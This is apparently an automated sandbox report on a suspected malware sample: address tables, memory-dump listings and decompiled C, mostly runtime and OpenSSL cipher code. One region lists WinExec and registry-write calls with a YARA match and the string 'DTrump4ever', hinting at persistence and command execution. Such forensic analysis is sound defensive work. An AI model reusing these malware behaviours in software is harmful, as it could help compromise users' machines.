                          0x6d4c6d30
                          0x6d4c6d32
                          0x00000000
                          0x00000000
                          0x6d4c6d3a
                          0x6d4c6d42
                          0x6d4c6d47
                          0x6d4c6d4a
                          0x6d4c6d4b
                          0x6d4c6d4d
                          0x00000000
                          0x6d4c6d4f
                          0x6d4c6d4f
                          0x6d4c6d51
                          0x6d4c6d52
                          0x6d4c6d56
                          0x6d4c6d5a
                          0x6d4c6d5c
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6d5c
                          0x00000000
                          0x6d4c6d4d
                          0x00000000
                          0x6d4c6d30
                          0x6d4c6d00
                          0x6d4c6d00
                          0x6d4c6d00
                          0x6d4c6d02
                          0x00000000
                          0x00000000
                          0x6d4c6d08
                          0x6d4c6d0c
                          0x6d4c6d10
                          0x6d4c6d15
                          0x6d4c6d18
                          0x6d4c6d1a
                          0x6d4c6d96
                          0x6d4c6d96
                          0x6d4c6d99
                          0x6d4c6d1c
                          0x6d4c6d1c
                          0x6d4c6d20
                          0x6d4c6d21
                          0x6d4c6d25
                          0x6d4c6d26
                          0x6d4c6d28
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6d28
                          0x00000000
                          0x6d4c6d1a
                          0x00000000
                          0x6d4c6d00
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6b04
                          0x6d4c6b04
                          0x6d4c6b11
                          0x6d4c6b11
                          0x6d4c6b15
                          0x6d4c6b19
                          0x6d4c6b1e
                          0x6d4c6b20
                          0x6d4c6b23
                          0x6d4c6b23
                          0x6d4c6b25
                          0x6d4c6b26
                          0x6d4c6b34
                          0x6d4c6b37
                          0x6d4c6b3b
                          0x6d4c6b42
                          0x6d4c6b48
                          0x6d4c6b4b
                          0x6d4c6b4d
                          0x6d4c6b50
                          0x6d4c6b56
                          0x6d4c6b5a
                          0x6d4c6b5d
                          0x6d4c6b5f
                          0x6d4c6b5f
                          0x6d4c6b63
                          0x6d4c6b65
                          0x6d4c6b65
                          0x6d4c6b69
                          0x6d4c6b94
                          0x6d4c6b94
                          0x6d4c6b9a
                          0x6d4c6bba
                          0x6d4c6bbe
                          0x6d4c6bc2
                          0x6d4c6bf4
                          0x6d4c6bf6
                          0x6d4c6c20
                          0x6d4c6c20
                          0x6d4c6c26
                          0x6d4c6c49
                          0x6d4c6c4b
                          0x6d4c6c6e
                          0x6d4c6c82
                          0x6d4c6c50
                          0x6d4c6c50
                          0x6d4c6c5c
                          0x6d4c6c61
                          0x6d4c6c66
                          0x00000000
                          0x00000000
                          0x6d4c6c68
                          0x6d4c6c69
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6c69
                          0x00000000
                          0x6d4c6c50
                          0x6d4c6c28
                          0x6d4c6c28
                          0x6d4c6c28
                          0x6d4c6c2d
                          0x6d4c6c39
                          0x6d4c6c3e
                          0x6d4c6c43
                          0x00000000
                          0x00000000
                          0x6d4c6c47
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6c47
                          0x00000000
                          0x6d4c6c28
                          0x6d4c6bf8
                          0x6d4c6c00
                          0x6d4c6c0a
                          0x6d4c6c0f
                          0x6d4c6c14
                          0x6d4c6c19
                          0x00000000
                          0x00000000
                          0x6d4c6c1b
                          0x6d4c6c1e
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6c1e
                          0x00000000
                          0x6d4c6c00
                          0x6d4c6bc4
                          0x6d4c6bc4
                          0x6d4c6bd0
                          0x6d4c6bd5
                          0x6d4c6bda
                          0x6d4c6bdf
                          0x00000000
                          0x00000000
                          0x6d4c6be9
                          0x6d4c6bea
                          0x6d4c6bee
                          0x6d4c6bf2
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6bf2
                          0x00000000
                          0x6d4c6bc4
                          0x6d4c6b9c
                          0x6d4c6ba5
                          0x6d4c6baa
                          0x6d4c6baf
                          0x6d4c6bb4
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6bb4
                          0x6d4c6b6b
                          0x6d4c6b70
                          0x6d4c6b7a
                          0x6d4c6b7f
                          0x6d4c6b84
                          0x6d4c6b89
                          0x00000000
                          0x00000000
                          0x6d4c6b8f
                          0x6d4c6b92
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4c6b92
                          0x6d4c6c83
                          0x6d4c6c8d
                          0x6d4c6c97
                          0x6d4c6c97
                          0x6d4c6b69
                          0x00000000

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: __aulldvrm
                          • String ID: $0123456789ABCDEF$T.Sm$X.Sm$p.Sm
                          • API String ID: 1302938615-3227088791
                          • Opcode ID: 16b26a2a9ea5104fcc9f504eb424df4c815e5f5c09097259e76f109470f7184c
                          • Instruction ID: 3295459c52e0792df1aebc0ddfa6b9e6d42fb4a2b87de8d0109884e8200597aa
                          • Opcode Fuzzy Hash: 16b26a2a9ea5104fcc9f504eb424df4c815e5f5c09097259e76f109470f7184c
                          • Instruction Fuzzy Hash: 3A81AF7A6087519BD700CF688880B3BBBE5BFC9744F15892CEA9993261E761DD018BD3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 91%
                          			E6D524F90(void* __ebx, void* __edi, void* __eflags) {
                          				void* __esi;
                          				void* _t3;
                          				intOrPtr _t6;
                          				long _t14;
                          				long* _t27;
                          
                          				E6D52034C(_t3);
                          				if(E6D5262D7() != 0) {
                          					_t6 = E6D52577F(E6D524CEB);
                          					 *0x6d57df78 = _t6;
                          					__eflags = _t6 - 0xffffffff;
                          					if(_t6 == 0xffffffff) {
                          						goto L1;
                          					} else {
                          						_t27 = E6D525B2F(1, 0x3bc);
                          						__eflags = _t27;
                          						if(_t27 == 0) {
                          							L6:
                          							E6D525006();
                          							__eflags = 0;
                          							return 0;
                          						} else {
                          							__eflags = E6D5257DB( *0x6d57df78, _t27);
                          							if(__eflags == 0) {
                          								goto L6;
                          							} else {
                          								_push(0);
                          								_push(_t27);
                          								E6D524EDD(__ebx, __edi, _t27, __eflags);
                          								_t14 = GetCurrentThreadId();
                          								_t27[1] = _t27[1] | 0xffffffff;
                          								 *_t27 = _t14;
                          								__eflags = 1;
                          								return 1;
                          							}
                          						}
                          					}
                          				} else {
                          					L1:
                          					E6D525006();
                          					return 0;
                          				}
                          			}








                          0x6d524f90
                          0x6d524f9c
                          0x6d524fab
                          0x6d524fb0
                          0x6d524fb6
                          0x6d524fb9
                          0x00000000
                          0x6d524fbb
                          0x6d524fc8
                          0x6d524fcc
                          0x6d524fce
                          0x6d524ffd
                          0x6d524ffd
                          0x6d525002
                          0x6d525005
                          0x6d524fd0
                          0x6d524fde
                          0x6d524fe0
                          0x00000000
                          0x6d524fe2
                          0x6d524fe2
                          0x6d524fe4
                          0x6d524fe5
                          0x6d524fec
                          0x6d524ff2
                          0x6d524ff6
                          0x6d524ffa
                          0x6d524ffc
                          0x6d524ffc
                          0x6d524fe0
                          0x6d524fce
                          0x6d524f9e
                          0x6d524f9e
                          0x6d524f9e
                          0x6d524fa5
                          0x6d524fa5

                          APIs
                          • __init_pointers.LIBCMT ref: 6D524F90
                            • Part of subcall function 6D52034C: RtlEncodePointer.NTDLL(00000000,00000001,6D524F95,6D51FB9D,6D55B9C8,00000008,6D51FD63,?,00000001,?,6D55B9E8,0000000C,6D51FD02,?,00000001,?), ref: 6D52034F
                            • Part of subcall function 6D52034C: __initp_misc_winsig.LIBCMT ref: 6D52036A
                            • Part of subcall function 6D52034C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6D525872
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 6D525886
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 6D525899
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 6D5258AC
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 6D5258BF
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 6D5258D2
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 6D5258E5
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 6D5258F8
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 6D52590B
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 6D52591E
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 6D525931
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 6D525944
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 6D525957
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 6D52596A
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 6D52597D
                            • Part of subcall function 6D52034C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 6D525990
                          • __mtinitlocks.LIBCMT ref: 6D524F95
                          • __mtterm.LIBCMT ref: 6D524F9E
                            • Part of subcall function 6D525006: DeleteCriticalSection.KERNEL32(?,?,?,?,6D51FC68,6D51FC4E,6D55B9C8,00000008,6D51FD63,?,00000001,?,6D55B9E8,0000000C,6D51FD02,?), ref: 6D5261F1
                            • Part of subcall function 6D525006: _free.LIBCMT ref: 6D5261F8
                            • Part of subcall function 6D525006: DeleteCriticalSection.KERNEL32(6D57DFD0,?,?,6D51FC68,6D51FC4E,6D55B9C8,00000008,6D51FD63,?,00000001,?,6D55B9E8,0000000C,6D51FD02,?,00000001), ref: 6D52621A
                          • __calloc_crt.LIBCMT ref: 6D524FC3
                          • __initptd.LIBCMT ref: 6D524FE5
                          • GetCurrentThreadId.KERNEL32 ref: 6D524FEC
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                          • String ID:
                          • API String ID: 3567560977-0
                          • Opcode ID: 0e38952a5872e1d9812deb2d5d1334da4cc7f44ea70ab742f84149d8acf0040f
                          • Instruction ID: 825d225738c61b8d988bd037d7737cd8714416b1592117c5b85ed6c88a8e013d
                          • Opcode Fuzzy Hash: 0e38952a5872e1d9812deb2d5d1334da4cc7f44ea70ab742f84149d8acf0040f
                          • Instruction Fuzzy Hash: EFF0B43210D7225EF76C67747C45B6B36958FD2678B330A1AE665D4DC4FF1088498590
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 27%
                          			E6D4CDAE9(void* __ebx, void* __edx, void* __edi, void* __esi) {
                          				intOrPtr* _t35;
                          				void* _t64;
                          				void* _t69;
                          				void* _t70;
                          				void* _t71;
                          				void* _t72;
                          				void* _t73;
                          				signed int _t74;
                          				void* _t76;
                          
                          				_t72 = __esi;
                          				_t70 = __edi;
                          				_t69 = __edx;
                          				do {
                          					E6D51FEE0(8);
                          					asm("movsd xmm0, [0x6d5431a0]");
                          					asm("movsd [esp], xmm0");
                          					E6D4C3C90(_t70, _t72, _t74 - 0x8c,  *((intOrPtr*)(_t74 - 0x8c)));
                          					_t76 = _t76 + 0x10;
                          					_push(_t74 - 0x8c);
                          					_push( *((intOrPtr*)(_t74 - 0x400)));
                          				} while ( *((intOrPtr*)(_t74 - 0x428))() != 0 && (_t70 == 0 || GetTickCount() -  *((intOrPtr*)(_t74 - 0x3fc)) < 0x3e8));
                          				 *((intOrPtr*)(_t74 - 0x3f8)) = 0x224;
                          				if(_t70 != 0) {
                          					 *((intOrPtr*)(_t74 - 0x3fc)) = GetTickCount();
                          				}
                          				_push(_t74 - 0x3f8);
                          				_push( *((intOrPtr*)(_t74 - 0x400)));
                          				if( *((intOrPtr*)(_t74 - 0x410))() != 0) {
                          					do {
                          						E6D51FEE0(8);
                          						asm("movsd xmm0, [0x6d5431a8]");
                          						asm("movsd [esp], xmm0");
                          						E6D4C3C90(_t70, _t72, _t74 - 0x3f8,  *((intOrPtr*)(_t74 - 0x3f8)));
                          						_t76 = _t76 + 0x10;
                          						_push(_t74 - 0x3f8);
                          						_push( *((intOrPtr*)(_t74 - 0x400)));
                          					} while ( *((intOrPtr*)(_t74 - 0x440))() != 0 && (_t70 == 0 || GetTickCount() -  *((intOrPtr*)(_t74 - 0x3fc)) < 0x3e8));
                          				}
                          				_t35 =  *((intOrPtr*)(_t74 - 0x448));
                          				_push( *((intOrPtr*)(_t74 - 0x400)));
                          				if(_t35 == 0) {
                          					CloseHandle();
                          				} else {
                          					 *_t35();
                          				}
                          				FreeLibrary( *(_t74 - 0x408));
                          				E6D4CDC80(_t70, _t72);
                          				GlobalMemoryStatus(_t74 - 0xac);
                          				E6D51FEE0(8);
                          				asm("movsd xmm0, [0x6d532eb8]");
                          				asm("movsd [esp], xmm0");
                          				E6D4C3C90(_t70, _t72, _t74 - 0xac, 0x20);
                          				 *((intOrPtr*)(_t74 - 0x430)) = GetCurrentProcessId();
                          				E6D51FEE0(8);
                          				asm("movsd xmm0, [0x6d532eb8]");
                          				asm("movsd [esp], xmm0");
                          				E6D4C3C90(_t70, _t72, _t74 - 0x430, 4);
                          				 *[fs:0x0] =  *((intOrPtr*)(_t74 - 0x10));
                          				_pop(_t71);
                          				_pop(_t73);
                          				_pop(_t64);
                          				return E6D51FED0(_t64,  *(_t74 - 0x1c) ^ _t74, _t69, _t71, _t73);
                          			}












                          0x6d4cdae9
                          0x6d4cdae9
                          0x6d4cdae9
                          0x6d4cdaf0
                          0x6d4cdaf5
                          0x6d4cdafa
                          0x6d4cdb02
                          0x6d4cdb14
                          0x6d4cdb19
                          0x6d4cdb22
                          0x6d4cdb23
                          0x6d4cdb2f
                          0x6d4cdb46
                          0x6d4cdb52
                          0x6d4cdb56
                          0x6d4cdb56
                          0x6d4cdb62
                          0x6d4cdb63
                          0x6d4cdb71
                          0x6d4cdb73
                          0x6d4cdb78
                          0x6d4cdb7d
                          0x6d4cdb85
                          0x6d4cdb97
                          0x6d4cdb9c
                          0x6d4cdba5
                          0x6d4cdba6
                          0x6d4cdbb2
                          0x6d4cdb73
                          0x6d4cdbc9
                          0x6d4cdbcf
                          0x6d4cdbd7
                          0x6d4cdbdd
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbe9
                          0x6d4cdbef
                          0x6d4cdbfb
                          0x6d4cdc06
                          0x6d4cdc0b
                          0x6d4cdc13
                          0x6d4cdc21
                          0x6d4cdc2f
                          0x6d4cdc3a
                          0x6d4cdc3f
                          0x6d4cdc47
                          0x6d4cdc55
                          0x6d4cdc65
                          0x6d4cdc6d
                          0x6d4cdc6e
                          0x6d4cdc6f
                          0x6d4cdc7d

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CountTick$CloseCurrentFreeGlobalHandleLibraryMemoryProcessStatus
                          • String ID:
                          • API String ID: 2654232908-0
                          • Opcode ID: 1a4ad90f17ed25a005a299b620a48813f0f20c6547cb85deb5a482ec05f34f0b
                          • Instruction ID: 80e1e71008b2f2ca2a88a23970911d516335316ee13f91ef63370b7d7c4e247a
                          • Opcode Fuzzy Hash: 1a4ad90f17ed25a005a299b620a48813f0f20c6547cb85deb5a482ec05f34f0b
                          • Instruction Fuzzy Hash: F4416C79D4461A8BEF61DF64CC44BADB779FF45304F0241A9E65CA6240EB318EC08F62
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A5A21: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,029A2BFF), ref: 029A5A2B
                          • GetSystemMetrics.USER32(00000043), ref: 029A48B9
                          • GetUserNameW.ADVAPI32(?,?), ref: 029A48D9
                          • WinExec.KERNEL32(?,00000005), ref: 029A4BA6
                            • Part of subcall function 029A4BED: RegCreateKeyExW.ADVAPI32(029AE0E4,00000001,00000000,00000000,00000000,00000102,00000000,00000004,00000000,?,?,?,029A49A4,80000002,?,?), ref: 029A4C08
                            • Part of subcall function 029A4BED: RegSetValueExW.ADVAPI32(00000004,?,00000000,?,80000002,029A49A4,?,?,?,029A49A4,80000002,?,?,00000001,029AE0E4,00000004), ref: 029A4C22
                            • Part of subcall function 029A4BED: RegCloseKey.ADVAPI32(00000004,?,?,?,029A49A4,80000002,?,?,00000001,029AE0E4,00000004), ref: 029A4C33
                          • WinExec.KERNEL32(?,00000005), ref: 029A4B08
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: ExecSystem$CloseCreateInfoMetricsNameNativeUserValue
                          • String ID: DTrump4ever
                          • API String ID: 1335868537-3370855319
                          • Opcode ID: 9c1c95b94a122cf685a4b68d6e798e28dd294a339445e3b9e35317ee9080d6ab
                          • Instruction ID: 70009cb9c0288831139e85ee3f38c8769c369f6a070409965e784be3707490f4
                          • Opcode Fuzzy Hash: 9c1c95b94a122cf685a4b68d6e798e28dd294a339445e3b9e35317ee9080d6ab
                          • Instruction Fuzzy Hash: 09914572E4035DBAEB11EBA0CC56FEF73AD9B44704F045166E605E6080EBB09B548BE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 79%
                          			E6D4C16B0(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
                          				void* __ebx;
                          				void* __edi;
                          				signed int __esi;
                          				void* __ebp;
                          				intOrPtr _t48;
                          				signed char _t49;
                          				signed int _t52;
                          				signed int _t55;
                          				signed int _t57;
                          				signed int _t67;
                          				signed int _t74;
                          				signed int _t75;
                          				signed int _t77;
                          				signed int _t78;
                          				signed int _t80;
                          				void* _t84;
                          				signed int _t87;
                          				signed int _t88;
                          				signed int _t89;
                          				signed int _t92;
                          				void* _t93;
                          				signed int* _t94;
                          				signed int _t95;
                          				signed int _t96;
                          				signed int _t99;
                          				signed int _t100;
                          				void* _t101;
                          				void* _t102;
                          				void* _t104;
                          
                          				_t93 = __edx;
                          				_t99 = _a24;
                          				_t94 = _a4;
                          				if(_t99 != 0xffffffff) {
                          					__eflags = _t99;
                          					_t100 =  !=  ? 1 : _t99;
                          					_t94[2] = _t100;
                          				} else {
                          					_t3 =  &(_t94[2]); // 0x71aa857e
                          					_t100 =  *_t3;
                          				}
                          				_t87 = _a8;
                          				if(_t94[1] == 0) {
                          					L7:
                          					if(_t87 == 0) {
                          						__eflags =  *_t94;
                          						if(__eflags != 0) {
                          							goto L30;
                          						} else {
                          							E6D4C3670(_t87, _t93, _t94, __eflags, 6, 0x7b, 0x83, ".\\crypto\\evp\\evp_enc.c", 0xcb);
                          							__eflags = 0;
                          							return 0;
                          						}
                          					} else {
                          						if( *_t94 != 0) {
                          							_t7 =  &(_t94[0x17]); // 0x318d93fa
                          							E6D4C1350(_t87, _t94);
                          							_t101 = _t101 + 4;
                          							_t94[2] = _t100;
                          							_t94[0x17] =  *_t7;
                          						}
                          						_t97 = _a12;
                          						if(_a12 == 0) {
                          							_t74 = E6D4C3ED0( *_t87);
                          							_t101 = _t101 + 4;
                          							_t95 = _t74;
                          							goto L16;
                          						} else {
                          							_t84 = E6D4C3FD0(_t94, _t97);
                          							_t101 = _t101 + 4;
                          							_t118 = _t84;
                          							if(_t84 != 0) {
                          								L16:
                          								__eflags = _t95;
                          								if(_t95 == 0) {
                          									_t94[1] = 0;
                          									goto L21;
                          								} else {
                          									_t87 = E6D4C3E80(_t95,  *_t87);
                          									_t101 = _t101 + 8;
                          									__eflags = _t87;
                          									if(__eflags != 0) {
                          										_t94[1] = _t95;
                          										L21:
                          										 *_t94 = _t87;
                          										_t13 = _t87 + 0x20; // 0x6a406a00
                          										_t75 =  *_t13;
                          										__eflags = _t75;
                          										if(_t75 == 0) {
                          											_t94[0x18] = 0;
                          											goto L25;
                          										} else {
                          											_t80 = E6D4C2430(_t75, ".\\crypto\\evp\\evp_enc.c", 0xb7);
                          											_t101 = _t101 + 0xc;
                          											_t94[0x18] = _t80;
                          											__eflags = _t80;
                          											if(__eflags != 0) {
                          												L25:
                          												_t16 = _t87 + 8; // 0xc8830575
                          												_t94[0x17] = _t94[0x17] & 0x00000001;
                          												_t94[0x16] =  *_t16;
                          												_t77 =  *_t94;
                          												__eflags =  *(_t77 + 0x10) & 0x00000040;
                          												if(( *(_t77 + 0x10) & 0x00000040) == 0) {
                          													goto L30;
                          												} else {
                          													_t78 = E6D4C14E0(_t94, 0, 0, 0);
                          													_t101 = _t101 + 0x10;
                          													__eflags = _t78;
                          													if(__eflags != 0) {
                          														goto L30;
                          													} else {
                          														 *_t94 = _t78;
                          														_push(0xc6);
                          														goto L13;
                          													}
                          												}
                          											} else {
                          												 *_t94 = _t80;
                          												E6D4C3670(_t87, _t93, _t94, __eflags, 6, 0x7b, 0x41, ".\\crypto\\evp\\evp_enc.c", 0xba);
                          												__eflags = 0;
                          												return 0;
                          											}
                          										}
                          									} else {
                          										_push(0x9d);
                          										goto L13;
                          									}
                          								}
                          							} else {
                          								_push(0x8e);
                          								L13:
                          								_push(".\\crypto\\evp\\evp_enc.c");
                          								_push(0x86);
                          								_push(0x7b);
                          								_push(6);
                          								E6D4C3670(_t87, _t93, _t94, _t118);
                          								goto L14;
                          							}
                          						}
                          					}
                          				} else {
                          					_t88 =  *_t94;
                          					if(_t88 == 0 || _t87 != 0 &&  *_t87 !=  *_t88) {
                          						goto L7;
                          					} else {
                          						L30:
                          						_t48 =  *((intOrPtr*)( *_t94 + 4));
                          						__eflags = _t48 - 1;
                          						if(_t48 != 1) {
                          							__eflags = _t48 - 8;
                          							if(_t48 != 8) {
                          								__eflags = _t48 - 0x10;
                          								if(__eflags != 0) {
                          									E6D4C2B60(_t87, _t88, _t93, _t94, _t95, _t100, __eflags, ".\\crypto\\evp\\evp_enc.c", 0xd8, "ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16");
                          									_t101 = _t101 + 0xc;
                          								}
                          							}
                          						}
                          						__eflags = _t94[0x17] & 0x00000001;
                          						if((_t94[0x17] & 0x00000001) != 0) {
                          							L37:
                          							_t49 = E6D4C37E0(_t94);
                          							_t96 = _a20;
                          							_t102 = _t101 + 4;
                          							__eflags = _t49 & 0x00000010;
                          							if((_t49 & 0x00000010) != 0) {
                          								L49:
                          								_t89 = _a16;
                          								__eflags = _t89;
                          								if(_t89 != 0) {
                          									L51:
                          									_t52 =  *((intOrPtr*)( *((intOrPtr*)( *_t94 + 0x14))))(_t94, _t89, _t96, _t100);
                          									__eflags = _t52;
                          									if(_t52 == 0) {
                          										goto L14;
                          									} else {
                          										goto L52;
                          									}
                          								} else {
                          									_t55 =  *_t94;
                          									__eflags =  *(_t55 + 0x10) & 0x00000020;
                          									if(( *(_t55 + 0x10) & 0x00000020) == 0) {
                          										L52:
                          										_t94[3] = 0;
                          										_t94[0x19] = 0;
                          										_t92 =  *((intOrPtr*)( *_t94 + 4)) - 1;
                          										__eflags = _t92;
                          										_t94[0x1a] = _t92;
                          										return 1;
                          									} else {
                          										goto L51;
                          									}
                          								}
                          							} else {
                          								_t57 = E6D4C37E0(_t94) & 0x000f0007;
                          								_t104 = _t102 + 4;
                          								__eflags = _t57 - 5;
                          								if(_t57 > 5) {
                          									L14:
                          									return 0;
                          								} else {
                          									switch( *((intOrPtr*)(_t57 * 4 +  &M6D4C1974))) {
                          										case 0:
                          											goto L49;
                          										case 1:
                          											L41:
                          											_t58 = E6D4F51D0(_t94);
                          											_t105 = _t104 + 4;
                          											__eflags = _t58 - 0x10;
                          											if(__eflags > 0) {
                          												E6D4C2B60(_t87, _t88, _t93, _t94, _t96, _t100, __eflags, ".\\crypto\\evp\\evp_enc.c", 0xf0, "EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)");
                          												_t105 = _t105 + 0xc;
                          											}
                          											__eflags = _t96;
                          											if(_t96 != 0) {
                          												_t63 = E6D4F51D0(_t94);
                          												_t33 =  &(_t94[4]); // 0x6d55d028
                          												E6D51F530(_t33, _t96, _t63);
                          												_t105 = _t105 + 0x10;
                          											}
                          											_push(E6D4F51D0(_t94));
                          											_t34 =  &(_t94[4]); // 0x6d55d028
                          											_push(_t34);
                          											goto L48;
                          										case 2:
                          											_t94[0x14] = 0;
                          											goto L41;
                          										case 3:
                          											 *(__edi + 0x50) = 0;
                          											__eflags = __esi;
                          											if(__esi != 0) {
                          												_push(E6D4F51D0(__edi));
                          												_push(__esi);
                          												L48:
                          												_t36 =  &(_t94[8]); // 0x6d55d038
                          												_push(_t36);
                          												E6D51F530();
                          												_t102 = _t105 + 0x10;
                          											}
                          											goto L49;
                          									}
                          								}
                          							}
                          						} else {
                          							_t67 = E6D4C37E0(_t94);
                          							_t101 = _t101 + 4;
                          							__eflags = (_t67 & 0x000f0007) - 0x10002;
                          							if(__eflags != 0) {
                          								goto L37;
                          							} else {
                          								E6D4C3670(_t87, _t93, _t94, __eflags, 6, 0x7b, 0xaa, ".\\crypto\\evp\\evp_enc.c", 0xdc);
                          								__eflags = 0;
                          								return 0;
                          							}
                          						}
                          					}
                          				}
                          			}
































                          0x6d4c16b0
                          0x6d4c16b2
                          0x6d4c16bd
                          0x6d4c16c4
                          0x6d4c16cb
                          0x6d4c16cd
                          0x6d4c16d0
                          0x6d4c16c6
                          0x6d4c16c6
                          0x6d4c16c6
                          0x6d4c16c6
                          0x6d4c16d7
                          0x6d4c16db
                          0x6d4c16f5
                          0x6d4c16f7
                          0x6d4c17fb
                          0x6d4c17fe
                          0x00000000
                          0x6d4c1800
                          0x6d4c1813
                          0x6d4c181b
                          0x6d4c1821
                          0x6d4c1821
                          0x6d4c16fd
                          0x6d4c1700
                          0x6d4c1702
                          0x6d4c1706
                          0x6d4c170b
                          0x6d4c170e
                          0x6d4c1711
                          0x6d4c1711
                          0x6d4c1714
                          0x6d4c171a
                          0x6d4c174d
                          0x6d4c1752
                          0x6d4c1755
                          0x00000000
                          0x6d4c171c
                          0x6d4c171d
                          0x6d4c1722
                          0x6d4c1725
                          0x6d4c1727
                          0x6d4c1757
                          0x6d4c1757
                          0x6d4c1759
                          0x6d4c1778
                          0x00000000
                          0x6d4c175b
                          0x6d4c1763
                          0x6d4c1765
                          0x6d4c1768
                          0x6d4c176a
                          0x6d4c1773
                          0x6d4c177f
                          0x6d4c177f
                          0x6d4c1781
                          0x6d4c1781
                          0x6d4c1784
                          0x6d4c1786
                          0x6d4c17c3
                          0x00000000
                          0x6d4c1788
                          0x6d4c1793
                          0x6d4c1798
                          0x6d4c179b
                          0x6d4c179e
                          0x6d4c17a0
                          0x6d4c17ca
                          0x6d4c17ca
                          0x6d4c17cd
                          0x6d4c17d1
                          0x6d4c17d4
                          0x6d4c17d6
                          0x6d4c17da
                          0x00000000
                          0x6d4c17dc
                          0x6d4c17e3
                          0x6d4c17e8
                          0x6d4c17eb
                          0x6d4c17ed
                          0x00000000
                          0x6d4c17ef
                          0x6d4c17ef
                          0x6d4c17f1
                          0x00000000
                          0x6d4c17f1
                          0x6d4c17ed
